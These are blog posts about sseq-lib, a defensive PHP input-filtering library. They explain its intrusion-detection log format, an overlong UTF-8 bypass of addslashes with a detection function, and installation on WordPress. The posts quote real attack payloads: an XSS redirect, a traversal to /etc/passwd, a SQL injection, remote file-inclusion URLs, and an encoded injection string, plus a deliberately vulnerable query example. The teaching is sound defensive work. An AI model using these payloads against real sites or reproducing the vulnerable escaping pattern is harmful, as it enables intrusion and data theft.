sseq-lib

Understanding sseq-lib log file

Freitag, Juli 23rd, 2010 | Dokumentation, PHP, Sicherheit, Uncategorized, blind patch, sseq-lib | Keine Kommentare

To understand what kind of attacks have been blocked by sseq-lib you should occasionally take a look into the log file you find under "sseq-lib/seq_log/log.txt". Each blocked attack is logged here with an explication of why it has been blocked.

 !  Do not open "log.txt" with your web browser! You could execute some of the malicious code that has been written into the log file!

Each line of the log file represents an attack or the detection of a possible attack which is triggered by the integrated, lightweight IDS (intrusion detection system).

Understanding Log data


Splitting every log line by the comma (,) will result in the following data:

1. date
2. time
3. IP of attacking client
4. where the attack string has been found

  • [_GET] : $_GET
  • [HGET] : $HTTP_GET_VARS
  • [_POS] : $_POST
  • [HPOS] : $HTTP_POST_VARS
  • [_COO] : $_COOKIE
  • [HCOO] : $HTTP_COOKIE_VARS
  • [_SES] : $_SESSION
  • [HSES] : $HTTP_SESSION_VARS
  • [_REQ] : $_REQUEST
  • [_GLO] : $GLOBALS

5. explanation of what happened. If the variable name which carried the payload is known it will be named.
6. attack payload
7. used method: GET, POST
8. the file which was used for the attack
9. User Agent of the attacking client
10. referer

Here some examples of blocked attacks against a Wordpress installation and their corresponding log line.

XSS (Cross Site Scripting)


Example from log file:
12.03.2010, 06:16:42, xxx.xxx.xx.xx, [_GET], p: INT param not INT, 99"><script>self.location=String.fromCharCode(104,116,116,112,58,47,47,103,111,111,103,108,101,46,99,111,109);</script>, GET, /index.php, Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2),


So here slice by slice:
1. 12.03.2010 (explanation: date)
2. 06:16:42 (explanation: time)
3. xxx.xxx.xx.xx (IP) (explanation: some typical IP)
4. [_GET] (explanation: attack string was found in super global $_GET)
5. p: INT param not INT (explanation: variable "p" was not an integer/number)
6. 99"><script>self.location=String.fromCharCode(104,116,116,112,58,47,47,103,111,111,103,108,101,46,99,111,109);</script> (explanation: attack payload - create an iframe)
7. GET (explanation: attack was performed through a GET request)
8. /index.php (explanation: attack was initiated on this file)
9. Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2) (explanation: user agent of client)
10. EMPTY (explanation: no referer)


Relative Path Traversal.


Example from log file:
29.03.2010, 22:16:38, xxx.xxx.xx.xx, [_GET], p: INT param not INT, ../../../../../../../../../../../../../../../../../../../../../../../etc/passwd , GET, /index.php, DataCha0s/2.0,


Here the attack payload.


../../../../../../../../../../../../../../../../../../../../../../../etc/passwd


SQL Injection


Example from log file:
08:03:28, xxx.xxx.xx.xx, [_GET], page_id: INT param not INT, 133 and 1=0  Union Select 0x787878756E696F6E787878--, GET, /index.php, , 


Here the attack payload.


133 and 1=0  Union Select 0x787878756E696F6E787878--


Code Injection


Example from log file:
23.07.2010, 04:12:41, xxx.xxx.xx.xx, [_GET], p: INT param not INT, 446  //index.php?get=http://www.xxxxxxx.cn//bbs/id1.txt??, GET, /index.php, Mozilla/5.0, 


Here the attack payload.


446  //index.php?get=http://www.xxxxxxx.cn//bbs/id1.txt??


Globals Overwrite


Example from log file:
19.07.2010, 09:27:19, xxx.xxx.xx.xx, [_GET], p: INT param not INT, 26  ///?_SERVER[DOCUMENT_ROOT]=http://www.xxxxxxx.sch.id/sk/image_galeri/a4DAc8C2___CIMG1122.jpg???, GET, /index.php, Mozilla/5.0,


Here the attack payload.


26  ///?_SERVER[DOCUMENT_ROOT]=http://www.xxxxxxx.sch.id/sk/image_galeri/a4DAc8C2___CIMG1122.jpg???

Unicode security issues on PHP

Freitag, Oktober 23rd, 2009 | PHP, Schwachstellenanalyse, Sicherheit, sseq-lib | 5 Kommentare

The last 3 days I put some other things by side to work on this here: A couple of unicode issues on PHP and Firefox. As one can see, securing web applications is also about knowing and understanding how data is coded and converted. To me it was obvious I had find out how to cope with this problems inside the security library SSEQ-LIB.

What are these vulnerabilities about

It's once again all about not checking / encoding user input, which we all know that it's evil. Let's learn something about Overlong UTF-8:

Overlong UTF-8 (non-shortest form)

First go read what sirdarckcat wrote about overlong UTF-8!

So you're back? Let us understand how an attacker can manufacture such an overlong UTF-8: We take for example the apostrophe ('). Converted to binary it is 00100111. (Actually we put the numeric char code from apostrophe into the converter (see asciitable) which is 39.)

So we now have this binary string 00100111 which means 39 which itself corresponds to apostrophe. Now we are going to make it overlong. But before we must have a look at how UTF-8 is coded. Look exactly at this binaries in the columns Byte 1 to Byte 4: The first ones and zeros are very important because they tell the UTF-8 decoder how long the entire character is and which byte belongs to it.

Ok, back again? So we want to enlarge a UTF-8 char by one more byte, so we look in the second row of the table from wikipedia: the first bit has to start with "110" because it means that this UTF-8 char is 2 byte long. The rest we can fill with zeros: 11000000. So we have the first Byte.

The second byte has to carry the initial value of 39 which is our apostrophe. We already know that 39 in binary is 00100111. Too bad that this string does not correspond with the UTF-8 definition for second bytes: it has to start with "10". Well actually we replace the first 2 bit with "10" and we're done! Out second byte is: 10100111.

We put them together: 11000000 10100111
We convert each to hexadecimal: \xc0 \xa7 or url encoded: %c0%a7.

What's wrong with overlong UTF-8

It is known, that interpreting non-shortest form UTF-8 is a security issue. Unfortunately PHP does interpret this overlong UTF-8. This is not a security breach by default. The point is that other software like web application firewalls, vulnerability scanners and even functions like "addslashes()" does not interpret this overlong UTF-8 code and so attack vectors or chars which should be escaped can pass by unidentified.

So when you escapes database input like this:
<?php
  $name 
utf8_decode(addslashes($GET_['name']));
  
mysql_query("SELECT * FROM table WHERE name='$name';");
?>


Or when you rely on "magic_quotes" (and you should not!):
<?php
  $name 
utf8_decode($GET_['name']);
  
mysql_query("SELECT * FROM table WHERE name='$name';");
?>


Just hope that no one inserts as "name": %c0%a7%20OR%201%2F%2A which would result in something to ask for all users in the database:
SELECT * FROM table WHERE name='' OR 1/*'


To sum up: addslashes() and "magic_quotes" are not capable to interpret this overlong UTF-8 so it passes by without escaping.

What can we do about it?

I spent some time to figure out how to check if non-shortest UTF-8 data contains potentially dangerous payload or not. Finally the most precise solution seems to me to be counting the special chars before and after "utf8_decode()". The reason why this works is that this kind of attack is based on infiltration of additional special chars which are kept hidden until they are revealed through "utf8_decode()". So after decoding we should count some more special chars than before.

When encoding to an inappropriate encoding like from UTF-8 to iso-xxxxxx-x some characters have to be replaced by a question mark (?). This question mark we must not count.

This function tells apart potentially dangerous overlong UTF-8 from harmless overlong UTF-8:
<?php
function seq_mb_count_symbols_($string_ '') {
    
$count 0;
    
    for (
$i=0$i mb_strlen($string_'UTF-8'); $i++){
        
$ch mb_substr($string_$i1'UTF-8');
        if (
ord($ch) != 64 && (
                                (
ord($ch) >= 33 && ord($ch) <= 62) ||
                                (
ord($ch) >= 91 && ord($ch) <= 96) ||
                                (
ord($ch) >= 123 && ord($ch) <= 126))
           )
        {
            
$count++;
        }
    }
    return 
$count;
}

function 
seq_check_nonshortest_utf8_($string_ '') {
    
$count seq_mb_count_symbols_(stripslashes($string_));
    
$after_count seq_mb_count_symbols_(utf8_decode(stripslashes($string_)));

    if (
$after_count $count) {
        return 
true;
    }
    
    return 
false;
}
?>


Check if string is dangerous:
<?php
if (seq_check_nonshortest_utf8_($string)) {
  
// yes, string contains hidden special chars. now take some appropriate action.
  
return false;
}
?>


Tell me if it works for you too, especially when your OS has some special encoding.

Additional thematic links

Bypass addslashes with UTF-8 characters

Tags: , , , , , ,

Wordpress security under pressure

Montag, September 7th, 2009 | Dokumentation, PHP, Sicherheit, sseq-lib | 3 Kommentare

So there it is: a popular Wordpress installation got hacked. Obviously it was an old version which has some security flaws. And yes, there was an update available for Wordpress which unfortunately was omitted.

Running Wordpress? You're toast!

Now there is a question in my mind: is Wordpress kind of notoriously unsecure as some may think? And what is the solution for these security flaws coming now and then? It seems everybody agrees that there is no 100% secure software. So we must live with the risk of getting hacked? I definitively don't feel good with this.

Besides, there is alt least one Wordpress plugin out there to identify infected blogs (Did I said a plugin to hinder infection? Certainly not.) Plugin solutions may come in handy but they also must be updated and installed on every new Wordpress and - as we've learned - this may be the common point of failure. So what to do now? Never ever again feel safe with Wordpress?

Wordpress out-of-the-box security!

What if Wordpress would come with security out of the box? There is a method of filtering incoming data by checking type and length against expected definitions. Only what passes the filter will be let through to the internal code (which may have security flaws). This very blog of mine is running such a filter. Want to see what kind of attacks it catches? Some log file lines:

SSEQ-LIB log file

06.09.2009, 15:46:24, 204.xx.xxx.xxx, [_GET], Global VAR overwrite detected, _SERVERDOCUMENT_ROOT, GET, /index.php, libwww-perl/5.79,

06.09.2009, 18:04:58, 91.xxx.xx.xx, [_GET], p: INT param not INT, 446//index.php?str=http://www.trxxxxxxx.eu/roxx.jpg???, GET, /index.php, libwww-perl/5.803,


All these attacks do not pass the filter, get deleted and cannot harm the Wordpress installation. Having a set of those filters being delivered with every Wordpress installation, will make sure that even if there is a bug inside the code, attacks will not go that deep but be stopped at the gates.

What is filtering with SSEQ-LIB all about?

Catching the attack before it reaches the application is already implemented in SSEQ-LIB security library. Including the filter into your Wordpress installation is as easy as inserting 2 lines of code into "wp-load.php" (see below)

The filter file contains line by line a filter definition which is to be read this way:

Check a variable name ("cat"), coming from "p"ost and "g"et, which has to be an "INT"eger between the interval of "1" and "9999999", encode against XSS ("true"), escape against SQL-Injection ("true").
//  VARIABLE NAME  # SOURCE # TYPE # MIN # MAX # XSS # SQL  &
cat                 # pg # INT # 1   # 9999999 # true # true  &
p                   # pg # INT # 1   # 9999999 # true # true  &
page_id             # pg # INT # 1   # 9999999 # true # true  &
m                   # pg # INT # 1   # 9999999 # true # true  &
attachment_id       # pg # INT # 1   # 9999999 # true # true  &
feed                # pg # STR # 1   # 50      # true # true  &


I don't know if you will sleep better after having SSEQ-LIB running on your blog. I do. You may download SSEQ-LIB from here and secure your Wordpress blog too. There is also a configured filter file which you should use by default. You may add more filter to improve security. If you do so, send me a copy of it to share it with others.

Download


Download SSEQ-LIB security library+ Wordpress filter definition

SSEQ-LIB installation

Create two additional folders on your web server: sseq-lib and sseq-filter.

Put the content of the filter ZIP ("wordpress_2.6.x_filter_v.0.3.zip" or similar) into the folder: sseq-filter

UnZIP the SSEQ-LIB ZIP ("sseq-lib_0.7.1.zip" or similar) and read the "readme.txt". After that copy the folder sseq-lib out of the ZIP to your web server.

Open the Wordpress file "wp-load.php" and include 2 lines of code. After that the file should look like this:


<?php
/** Define ABSPATH as this files directory */
define'ABSPATH'dirname(__FILE__) . '/' );

error_reporting(E_ALL E_NOTICE E_USER_NOTICE);

// including SSEQ-LIB
include_once(ABSPATH 'sseq-lib/seq_lib.php');
// loading and using filter data
SEQ_SANITIZE('sseq-filter/wordpress_2.6.x.txt'true);

?>


On your web server the SSEQ-LIB structure should look like this:


htdocs
        |- sseq-lib
        |      |
        |      |- seq_lib
        |      |- seq_log
        |      |- seq_dump
        |
        |- sseq-filter
        |- wp-includes
        [...]


You're done!

Testing SSEQ-LIB installation

Now go to your blog and try something like: "http://www.erich-kachel.de/?p=2ATTACK" and you'll be redirected to your start page. Now go check the log file on your web server: "sseq-lib/seq_log/log.txt". You have to do this with your FTP connection because this file should not be reachable through HTTP.

Too much work?

Give Wordpress a hint about this security solution. They may think about including SSEQ-LIB by default to guarantee security for longer time than just until the next security release.

Tags: ,

Search

RSS Mister Wong Blogroll

  • Ein Fehler ist aufgetaucht - der Feed funktioniert zurzeit nicht. Probiere es später noch einmal.